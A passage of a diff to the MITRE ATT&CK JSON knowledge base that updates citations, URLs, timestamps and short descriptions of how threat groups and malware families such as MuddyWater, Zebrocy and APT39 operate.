MuddyWater November 2017)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s OS version and machine name.(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "id": "relationship--9c5c8dbe-ec34-46f9-b4af-0a6e73f00c89", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2020-05-18T19:04:38.075Z", + "modified": "2021-03-19T13:43:29.844Z", "created": "2019-01-30T17:33:41.085Z" }, { @@ -123059,9 +124417,9 @@ ], "external_references": [ { - "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", - "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018." + "source_name": "Unit42 Cannon Nov 2018" }, { "source_name": "ESET Zebrocy Nov 2018", @@ -123069,28 +124427,33 @@ "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." }, { - "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018", "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", - "source_name": "Unit42 Sofacy Dec 2018" + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019." }, { - "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", - "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019." + "source_name": "ESET Zebrocy May 2019" }, { - "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", - "source_name": "Accenture SNAKEMACKEREL Nov 2018" + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "A variant of [Zebrocy](https://attack.mitre.org/software/S0251) captures screenshots of the victim\u2019s machine in JPEG and BMP format.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "description": "A variant of [Zebrocy](https://attack.mitre.org/software/S0251) captures screenshots of the victim\u2019s machine in JPEG and BMP format.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)", "id": "relationship--3e2d4ce8-0006-4571-b8ea-dbfc4bf7302f", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "relationship_type": "uses", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "type": "relationship", - "modified": "2019-07-17T01:18:32.845Z", + "modified": "2020-12-09T21:54:33.769Z", "created": "2019-01-30T18:39:48.412Z" }, { @@ -123100,18 +124463,23 @@ ], "external_references": [ { - "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", - "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018." + "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." } ], - "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects the MAC address, computer name, hardware UUID, serial number, and operating system version.(Citation: TrendMicro MacOS April 2018)", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "id": "relationship--588865e4-caec-4150-9c03-df5e28eb9c79", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2019-09-26T16:22:41.935Z", + "modified": "2020-12-02T14:57:47.600Z", "created": "2019-01-30T19:18:20.167Z" }, { @@ -123185,7 +124553,7 @@ { "id": "relationship--c476a0da-44fd-4492-86ae-407aabab3735", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses DNS for C2.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses DNS for C2.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -123645,7 +125013,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "type": "relationship", - "modified": "2020-03-11T19:55:53.925Z", + "modified": "2021-04-09T14:56:26.707Z", "created": "2017-05-31T21:33:27.022Z" }, { @@ -123871,7 +125239,7 @@ { "id": "relationship--d2560c35-b2f6-47d2-b573-236ef99894d5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -123947,14 +125315,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "relationship_type": "uses", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "type": "relationship", - "modified": "2020-03-19T22:28:20.938Z", + "modified": "2021-04-21T16:41:34.708Z", "created": "2017-05-31T21:33:27.032Z" }, { @@ -124002,7 +125370,7 @@ "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" }, { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, @@ -124016,7 +125384,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2020-09-22T16:38:56.741Z", + "modified": "2020-12-11T17:47:23.043Z", "created": "2017-05-31T21:33:27.066Z" }, { @@ -124040,27 +125408,6 @@ "modified": "2019-07-14T21:15:55.620Z", "created": "2017-05-31T21:33:27.063Z" }, - { - "id": "relationship--2b469307-a635-4392-a18f-ed1f24b3a684", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can deliver \"beacon\" payloads for lateral movement by leveraging remote COM execution.(Citation: Cobalt Strike DCOM Jan 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/", - "description": "Mudge, R. (2017, January 24). Scripting Matt Nelson\u2019s MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.", - "source_name": "Cobalt Strike DCOM Jan 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", - "type": "relationship", - "modified": "2020-03-20T15:50:20.756Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--440c7f08-e570-4536-8f9c-849952581de1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -124148,7 +125495,7 @@ { "id": "relationship--e8a77e9f-594d-429a-9eb0-51502af84c14", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used PowerShell for execution.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used PowerShell for execution.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -124187,13 +125534,18 @@ "source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "type": "relationship", - "modified": "2020-05-18T19:04:38.145Z", + "modified": "2021-03-19T13:07:58.190Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -125022,11 +126374,16 @@ "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." } ], - "description": "(Citation: TrendMicro MacOS April 2018)", + "description": "(Citation: TrendMicro MacOS April 2018)(Citation: Amnesty Intl. Ocean Lotus February 2021)", "type": "relationship", - "modified": "2019-07-17T13:11:38.955Z", + "modified": "2021-03-02T14:02:19.551Z", "created": "2019-01-31T01:07:58.813Z" }, { @@ -125427,27 +126784,6 @@ "modified": "2020-03-17T02:22:51.855Z", "created": "2018-01-16T16:13:52.465Z" }, - { - "id": "relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can query shared drives on the local system.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", - "type": "relationship", - "modified": "2019-06-06T19:04:39.541Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--80dcd852-39c2-4ef9-a401-e54982010a65", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -125624,16 +126960,16 @@ "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "relationship_type": "uses", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "type": "relationship", - "modified": "2020-03-19T23:37:02.696Z", + "modified": "2021-01-25T15:43:45.853Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -126043,14 +127379,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "type": "relationship", - "modified": "2020-03-16T17:51:39.994Z", + "modified": "2021-04-21T16:41:34.663Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -126270,7 +127606,7 @@ { "id": "relationship--f623affb-f6e8-4c32-a44f-8835fff92c59", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used macros in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s as well as executed VBScripts on victim machines.(Citation: Unit 42 Gorgon Group Aug 2018)", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used macros in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s as well as executed VBScripts on victim machines.(Citation: Unit 42 Gorgon Group Aug 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -126285,7 +127621,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "type": "relationship", - "modified": "2020-03-17T19:10:32.328Z", + "modified": "2021-02-09T14:24:38.228Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -127163,16 +128499,21 @@ "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." }, { - "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", - "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019." + "source_name": "ESET Zebrocy May 2019" + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020)", "relationship_type": "uses", "id": "relationship--c56a229c-f033-4a51-ad5c-251dff28b87e", "type": "relationship", - "modified": "2019-07-17T01:18:32.909Z", + "modified": "2020-12-09T21:54:33.971Z", "created": "2019-02-12T16:33:29.206Z" }, { @@ -127187,13 +128528,18 @@ "source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gets the username from the system.(Citation: ESET Zebrocy Nov 2018)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gets the username from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)", "relationship_type": "uses", "id": "relationship--46452566-0f0f-4fe9-9cef-ef7e3d6eee36", "type": "relationship", - "modified": "2019-07-17T01:18:32.974Z", + "modified": "2020-12-09T21:54:34.039Z", "created": "2019-02-12T16:33:29.217Z" }, { @@ -127229,13 +128575,18 @@ "source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.(Citation: ESET Zebrocy Nov 2018)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)", "relationship_type": "uses", "id": "relationship--07eea18c-048c-4187-a6f1-ca97e9bfc846", "type": "relationship", - "modified": "2019-07-17T01:18:32.975Z", + "modified": "2020-12-09T21:54:34.109Z", "created": "2019-02-12T16:33:29.240Z" }, { @@ -127252,16 +128603,21 @@ "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." }, { - "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", - "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019." + "source_name": "ESET Zebrocy May 2019" + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses SSL and AES ECB for encrypting C2 communications.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses SSL and AES ECB for encrypting C2 communications.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ", "relationship_type": "uses", "id": "relationship--bcb137f0-e92d-47b5-912f-ba8d4f9ff15c", "type": "relationship", - "modified": "2020-03-21T00:41:26.011Z", + "modified": "2020-12-09T21:53:58.741Z", "created": "2019-02-12T16:33:29.284Z" }, { @@ -128161,13 +129517,18 @@ "source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious attachments to initially compromise victims. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer February 2018)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious attachments to initially compromise victims. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--f60a3a4e-ba53-47ba-8e31-e301f3983f6e", "type": "relationship", - "modified": "2020-05-22T19:37:14.333Z", + "modified": "2020-12-11T15:57:08.692Z", "created": "2019-02-21T21:11:08.102Z" }, { @@ -128296,13 +129657,18 @@ "source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious links to initially compromise victims. (Citation: FireEye APT39 Jan 2019)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious links to initially compromise victims. (Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--f5cd03ce-93e0-4458-ba90-ca3926bb41b9", "type": "relationship", - "modified": "2019-04-29T18:16:38.414Z", + "modified": "2020-12-11T15:57:08.775Z", "created": "2019-02-21T21:12:55.696Z" }, { @@ -128369,13 +129735,18 @@ "source_name": "BitDefender Chafer May 2020", "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has created scheduled tasks for persistence. (Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has created scheduled tasks for persistence. (Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--54d5380e-07a4-49b0-8ffd-c34428c90bbe", "type": "relationship", - "modified": "2020-05-29T13:22:53.001Z", + "modified": "2020-12-11T15:57:08.904Z", "created": "2019-02-21T21:17:37.821Z" }, { @@ -128423,11 +129794,11 @@ "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has used nbtscan and custom tools to discover remote systems. (Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used [NBTscan](https://attack.mitre.org/software/S0590) and custom tools to discover remote systems. (Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)", "relationship_type": "uses", "id": "relationship--964233cc-fa6c-4754-9684-6546eb6d5a4a", "type": "relationship", - "modified": "2020-05-29T14:02:52.638Z", + "modified": "2021-03-17T16:18:38.375Z", "created": "2019-02-21T21:17:37.831Z" }, { @@ -128510,13 +129881,18 @@ "source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) utilized custom scripts to perform internal reconnaissance. (Citation: FireEye APT39 Jan 2019)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized AutoIt and custom scripts to perform internal reconnaissance. (Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--a1c62ce5-2f11-415f-bca1-c9021530c090", "type": "relationship", - "modified": "2020-08-11T15:46:27.085Z", + "modified": "2020-12-11T15:57:09.116Z", "created": "2019-02-21T21:17:37.986Z" }, { @@ -128630,13 +130006,18 @@ "source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious attachment. (Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious attachment. (Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--4e50db0c-4e54-4266-b675-3b279ec45427", "type": "relationship", - "modified": "2020-05-29T13:22:53.078Z", + "modified": "2020-12-11T15:57:09.263Z", "created": "2019-02-22T20:59:17.640Z" }, { @@ -128795,16 +130176,16 @@ "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": 